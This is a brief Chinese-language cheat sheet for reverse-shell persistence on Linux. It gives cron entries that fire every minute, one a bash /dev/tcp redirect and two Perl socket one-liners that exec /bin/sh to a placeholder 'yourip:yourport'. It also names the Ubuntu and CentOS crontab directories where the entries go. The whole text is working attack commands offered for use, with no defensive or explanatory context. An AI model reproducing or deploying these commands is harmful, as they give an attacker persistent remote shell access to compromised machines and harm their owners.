反弹shell

每一分钟执行一次

echo "\n\n*/1 * * * * /bin/bash -i>/dev/tcp/yourip/yourport 0>&1\n\n"

ubuntu目录:
/var/spool/cron/crontabs/

每分钟反弹一个sh

*/1 * * * * perl -e 'use Socket;$i="yourip";$p=yourport;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

centos目录
/etc/cron.d/

每分钟反弹一个sh

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="yourip";$p=yourport;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'